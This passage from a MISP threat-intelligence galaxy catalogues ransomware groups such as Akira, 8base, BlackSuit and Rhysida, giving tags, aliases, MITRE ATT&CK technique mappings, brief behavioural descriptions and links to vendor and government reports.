The tag is: *misp-galaxy:ransomware="Vsop"*

Table 13734. Table References

Links
https://www.ransomlook.io/group/vsop

Xinglocker

xing use a custom mountlocker exe

The tag is: *misp-galaxy:ransomware="Xinglocker"*

Table 13735. Table References

Links
https://www.izoologic.com/2021/06/19/xing-locker-team-ransomgroup-is-on-a-roll-they-recently-hit-sharafi-group-investments
https://itsecuritywire.com/quick-bytes/xinglocker-spreading-worm-using-mountlocker
https://www.ransomlook.io/group/xinglocker

Xinof

The tag is: *misp-galaxy:ransomware="Xinof"*

Table 13736. Table References

Links
https://www.ransomlook.io/group/xinof

Yanluowang

Ransomware.

The tag is: *misp-galaxy:ransomware="Yanluowang"*

Table 13737. Table References

Links
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html
https://github.com/albertzsigovits/malware-notes/tree/master/Ransomware-Windows-Yanluowang
https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware
https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://www.ransomlook.io/group/yanluowang

Akira

The tag is: *misp-galaxy:ransomware="Akira"*

Akira is also known as:

- Megazord

View relationships graph

Akira has relationships with:

- uses: misp-galaxy:tactic="Initial Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Execution" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Persistence" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Privilege Escalation" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Defense Evasion" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Credential Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Discovery" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Lateral Movement" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Collection" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Command and Control" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Exfiltration" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Impact" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Assess KITs/KIQs benefits - T1229" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"

Table 13738. Table References

Links
https://www.ransomlook.io/group/akira
https://github.com/crocodyli/ThreatActors-TTPs/tree/main/Akira
https://www.ransomlook.io/group/megazord
https://www.sentinelone.com/labs/akira-ransomware-attacks-vpn-appliances
https://www.bleepingcomputer.com/news/security/akira-ransomware-now-targets-linux-vmware-esxi-servers
https://www.cisa.gov/news-events/cybersecurity-advisories/2024/04/04/akira-ransomware

Eraleign

A new ransomware group is said to have emerged in mid-April 2024, under the name "APT73." It's worth noting that the group reportedly self-proclaimed as an APT, which stands for "Advanced Persistent Threat" in the cybersecurity field. According to research, much of the available information about the aforementioned group came from another ransomware group known as LockBit. This is evident as the group, on its Data Leak Site (DLS) website, added pages such as "Contact Us," "How to buy Bitcoin," "Web Security Bug Bounty," and "Mirrors." Another relevant fact is that this group is also known as Ransomware Eraleig. This is because the group allegedly used a domain in the past to disclose information about victims. There is no information available about any Tactics, Techniques, and Procedures associated with this ransomware group, nor about the latest artifacts used for encryption purposes.

The tag is: *misp-galaxy:ransomware="Eraleign"*

Eraleign is also known as:

- Apt73

Table 13739. Table References

Links
https://www.ransomlook.io/group/eraleign (apt73)[https://www.ransomlook.io/group/eraleign (apt73)]
https://www.cloudsek.com/blog/unmasking-media-hungry-ransomware-groups-bashe-apt73
https://www.vectra.ai/threat-actors/eraleig-apt73-bashe
https://otx.alienvault.com/pulse/6719efafaae058b238f9ca50

Zero Tolerance Gang

The tag is: *misp-galaxy:ransomware="Zero Tolerance Gang"*

Zero Tolerance Gang is also known as:

- Ztg

Table 13740. Table References

Links
https://www.ransomlook.io/group/zero tolerance gang (ztg)[https://www.ransomlook.io/group/zero tolerance gang (ztg)]

hellogookie

The tag is: *misp-galaxy:ransomware="hellogookie"*

Table 13741. Table References

Links
https://www.ransomlook.io/group/hellogookie

lambda

The tag is: *misp-galaxy:ransomware="lambda"*

Table 13742. Table References

Links
https://www.ransomlook.io/group/lambda

darkrace

DarkRace is a moderately destructive ransomware strain observed since 2024. It encrypts files and appends a randomized extension (e.g., .1352FF327) that varies per victim. Implemented as a 32-bit Windows application, it disables antivirus defenses, deletes volume shadow copies, terminates processes, and drops ransom note files for payment negotiation. Technical weaknesses in its encryption have enabled developers to produce a universal decryptor that works against DarkRace

and related variants.

The tag is: *misp-galaxy:ransomware="darkrace"*

View relationships graph

darkrace has relationships with:

- similar: misp-galaxy:ransomware="donex" with estimative-language:likelihood-probability="roughly-even-chance"

Table 13743. Table References

Links
https://www.ransomlook.io/group/darkrace
https://www.broadcom.com/support/security-center/protection-bulletin/darkrace-ransomware
https://www.trendmicro.com/vinfo/be/threat-encyclopedia/malware/ransom.win32.darkrace.thcofbd
https://www.helpnetsecurity.com/2024/07/08/decryptor-donex-muse-darkrace-fake-lockbit-3-0/
https://petikvx.github.io/2024/06/20/darkrace-ransomware.html
https://www.salvagedata.com/blog/darkrace-ransomware

metaencryptor

The tag is: *misp-galaxy:ransomware="metaencryptor"*

Table 13744. Table References

Links
https://www.ransomlook.io/group/metaencryptor

clop torrents

The tag is: *misp-galaxy:ransomware="clop torrents"*

Table 13745. Table References

Links
https://www.ransomlook.io/group/clop torrents[https://www.ransomlook.io/group/clop torrents]

hunters

The tag is: *misp-galaxy:ransomware="hunters"*

hunters is also known as:

- Hunters International

View relationships graph

hunters has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="very-likely"

Table 13746. Table References

Links
https://www.ransomlook.io/group/hunters
https://www.bleepingcomputer.com/news/security/hunters-international-ransomware-likely-a-rebrand-of-hive/
https://www.sentinelone.com/labs/hunters-international-ransomware-a-possible-hive-successor/
https://www.ic3.gov/Media/News/2023/231103.pdf

red ransomware

The tag is: *misp-galaxy:ransomware="red ransomware"*

Table 13747. Table References

Links

https://www.ransomlook.io/group/red ransomware[https://www.ransomlook.io/group/red ransomware]

mydata

The tag is: *misp-galaxy:ransomware="mydata"*

Table 13748. Table References

Links
https://www.ransomlook.io/group/mydata

siegedsec

The tag is: *misp-galaxy:ransomware="siegedsec"*

Table 13749. Table References

Links
https://www.ransomlook.io/group/siegedsec

karma

Ransomware.

The tag is: *misp-galaxy:ransomware="karma"*

Table 13750. Table References

Links
https://www.ransomlook.io/group/karma
https://blog.cyble.com/2021/08/24/a-deep-dive-analysis-of-karma-ransomware/
https://blogs.blackberry.com/en/2021/11/threat-thursday-karma-ransomware
https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.youtube.com/watch?v=hgz5gZB3DxE

dan0n

dAn0n is a data-extortion actor that first appeared in April 2024. Operating primarily in a leak-focused extortion model, they publish stolen data on a Tor-hosted site rather than encrypting files. Their victims include organizations across sectors like business services, technology, healthcare, transportation, and legal—all largely based in the United States, with a few in Ireland and South Korea. Activity surged in May 2024, landing them in the top 10 most active ransomware actors that month. Despite limited branding efforts, their smaller operational footprint has allowed for swift, targeted breaches that prioritize rapid data exposure over elaborate cryptographic tactics.

The tag is: *misp-galaxy:ransomware="dan0n"*

Table 13751. Table References

Links
https://www.ransomlook.io/group/dan0n
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/dan0n
https://www.sos-vo.org/news/cybersecurity-snapshots-dan0n-and-arcus-media-ransomware-groups
https://www.nccgroup.com/us/newsroom/ncc-group-monthly-threat-pulse-review-of-may-2024/

lulzsec muslims

The tag is: *misp-galaxy:ransomware="lulzsec muslims"*

Table 13752. Table References

Links
https://www.ransomlook.io/group/lulzsec muslims[https://www.ransomlook.io/group/lulzsec muslims]

cloak

The tag is: *misp-galaxy:ransomware="cloak"*

Table 13753. Table References

Links
https://www.ransomlook.io/group/cloak
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/cloak
https://www.thaiCERT.or.th/en/2025/03/25/cloak-ransomware-attacks-virginia-attorney-generals-office/
https://www.halcyon.ai/blog/cloak-ransomware-variant-exhibits-advanced-persistence-evasion-and-vhd-extraction-capabilities

https://www.sentinelone.com/blog/threat-actor-interplay-good-days-victim-portals-and-their-ties-to-cloak/
https://www.cyberint.com/blog/other/cloak-ransomware-whos-behind-the-cloak/

8base

8Base emerged in early 2022 and rapidly escalated its ransomware operations by mid-2023, positioning itself as a “simple pen tester” while executing a relentless double-extortion scheme: encrypting files using AES-256 CBC mode (appending the “.8base” extension) and threatening to leak stolen data via a Tor-accessible leak site. The group leverages initial access methods such as phishing and SmokeLoader, disables security mechanisms like Volume Shadow Copy and firewalls, and deploys persistence via registry and startup entries. Targeting primarily small and medium-sized organizations across sectors such as manufacturing, finance, IT, and healthcare in regions including the U.S., Brazil, and Europe, 8Base has drawn comparisons to Phobos and RansomHouse for its tactics and ransom-note style. In early 2025, international law enforcement operations disrupted the group, resulting in the arrest of four key actors, seizure of servers, and warnings to hundreds of potential victims.

The tag is: *misp-galaxy:ransomware="8base"*

View relationships graph

8base has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="very-likely"

Table 13754. Table References

Links
https://www.ransomlook.io/group/8base
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-8base
https://www.sentinelone.com/anthology/8base/
https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/8base-ransomware-group/
https://cyberint.com/blog/research/all-about-that-8base-ransomware-group-the-details/
https://www.fortinet.com/blog/threat-research/ransomware-roundup-8base
https://www.hhs.gov/sites/default/files/8base-ransomware-analyst-note.pdf
https://www.eye.security/blog/8base-ransomware-investigation-uncovers-surprising-insights
https://www.axios.com/2025/02/11/fbi-europol-8base-ransomware-takedown
https://www.europol.europa.eu/media-press/newsroom/news/key-figures-behind-phobos-and-8base-ransomware-arrested-in-international-cybercrime-crackdown

noescape

The tag is: *misp-galaxy:ransomware="noescape"*

Table 13755. Table References

Links
https://www.ransomlook.io/group/noescape

black suit

BlackSuit is a type of malicious software classified as ransomware. Its operation involves multifaceted extortion, encrypting and exfiltrating victim data, and hosting public data leak sites for victims who fail to meet its demands. BlackSuit's activities first began in early May 2023. Designed to prevent access to files by encrypting them, this ransomware appends the ".blacksuit" extension to the names of all affected files. Furthermore, it changes the desktop wallpaper and creates a ransom note file named "README.BlackSuit.txt." This threat actor targets large corporations, small and medium-sized enterprises (SMEs), with no apparent specific discrimination regarding industry or type of victim.

The tag is: *misp-galaxy:ransomware="black suit"*

View relationships graph

black suit has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Initial Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Privilege Escalation" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Impact" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Defense Evasion" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Command and Control" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="very-likely"

Table 13756. Table References

Links
https://www.ransomlook.io/group/black suit[https://www.ransomlook.io/group/black suit]
https://www.ransomware.live/group/blacksuit
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-284a
https://www.trendmicro.com/en_us/research/23/f/blacksuit-ransomware-and-its-similarities-to-royal.html
https://www.sentinelone.com/labs/blacksuit-ransomware-a-former-conti-affiliate-rebrands-and-evolves/
https://www.bleepingcomputer.com/news/security/blacksuit-ransomware-a-new-name-for-royal-gang/

werewolves

The tag is: *misp-galaxy:ransomware="werewolves"*

Table 13757. Table References

Links
https://www.ransomlook.io/group/werewolves

killsec

The tag is: *misp-galaxy:ransomware="killsec"*

Table 13758. Table References

Links
https://www.ransomlook.io/group/killsec

rabbit hole

The tag is: *misp-galaxy:ransomware="rabbit hole"*

Table 13759. Table References

Links
https://www.ransomlook.io/group/rabbit hole[https://www.ransomlook.io/group/rabbit hole]

raznatovic

The tag is: *misp-galaxy:ransomware="raznatovic"*

Table 13760. Table References

Links

https://www.ransomlook.io/group/raznatovic

abyss-data

The tag is: *misp-galaxy:ransomware="abyss-data"*

Table 13761. Table References

Links
https://www.ransomlook.io/group/abyss-data
https://blackpointcyber.com/wp-content/uploads/2024/12/Abyss.pdf
https://www.fortinet.com/blog/threat-research/ransomware-roundup-abyss-locker
https://www.sentinelone.com/anthology/abyss-locker
https://socradar.io/dark-web-profile-abyss-ransomware
https://www.ransomware.live/group/abyss

cryptnet

The tag is: *misp-galaxy:ransomware="cryptnet"*

Table 13762. Table References

Links
https://www.ransomlook.io/group/cryptnet
https://www.zscaler.com/blogs/security-research/technical-analysis-cryptnet-ransomware

losttrust

The tag is: *misp-galaxy:ransomware="losttrust"*

Table 13763. Table References

Links
https://www.ransomlook.io/group/losttrust

rhysida

Rhysida is a ransomware-as-a-service (RAAS) group that emerged in May 2023. The group utilizes a namesake ransomware through phishing attacks and Cobalt Strike to breach the targets' networks and deploy their payloads.

The group threatens to publicly distribute exfiltrated data if the ransom is not paid, and it’s worth mentioning that Rhysida is still in the early stages of development.

The ransomware leaves PDF notes in the affected folders, instructing victims to contact the group

through its portal, and payment is made via Bitcoin.

After encryption, the ransomware appends the extension ".ryshida" to encrypted files.

For encryption purposes, Trend Micro published an analysis stating that the ransomware uses a 4096-bit RSA key and AES-CTR for encryption.

In addition to the encryption method, Trend Micro published an analysis of the Ryshida Ransomware attack chain.

Finally, the group has a website on the Tor network hosting the companies that have been breached.

The tag is: *misp-galaxy:ransomware="rhysida"*

View relationships graph

rhysida has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Acquire Infrastructure - T1583" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="very-likely"

Table 13764. Table References

Links
https://www.ransomlook.io/group/rhysida
